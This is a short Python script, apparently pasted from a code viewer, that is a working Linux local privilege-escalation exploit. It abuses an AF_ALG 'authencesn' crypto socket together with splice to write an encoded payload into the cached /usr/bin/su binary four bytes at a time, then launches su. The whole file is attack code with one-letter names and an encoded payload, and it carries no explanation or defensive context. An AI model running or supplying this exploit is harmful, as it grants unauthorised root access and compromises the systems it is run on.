1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| #!/usr/bin/env python3
import os
import zlib
import socket
import ctypes
# Setup ctypes to call the C library's splice function
libc = ctypes.CDLL("libc.so.6")
# ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
_splice = libc.splice
_splice.argtypes = [
ctypes.c_int,
ctypes.POINTER(ctypes.c_longlong),
ctypes.c_int,
ctypes.POINTER(ctypes.c_longlong),
ctypes.c_size_t,
ctypes.c_uint
]
_splice.restype = ctypes.c_ssize_t
def d(x):
return bytes.fromhex(x)
def c(f, t, c_data):
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d("0800010000000010" + "0" * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d("00")
u.sendmsg(
[b"A" * 4 + c_data],
[
(h, 3, i * 4),
(h, 2, b"\x10" + i * 19),
(h, 4, b"\x08" + i * 3),
],
32768,
)
r, w = os.pipe()
# Replacement for n(f, w, o, offset_src=0)
off_src = ctypes.c_longlong(0)
_splice(f, ctypes.byref(off_src), w, None, o, 0)
# Replacement for n(r, u.fileno(), o)
_splice(r, None, u.fileno(), None, o, 0)
try:
u.recv(8 + t)
except:
pass
os.close(r)
os.close(w)
f = os.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(
d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f
75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
)
while i < len(e):
c(f, i, e[i : i + 4])
i += 4
os.system("su")
|
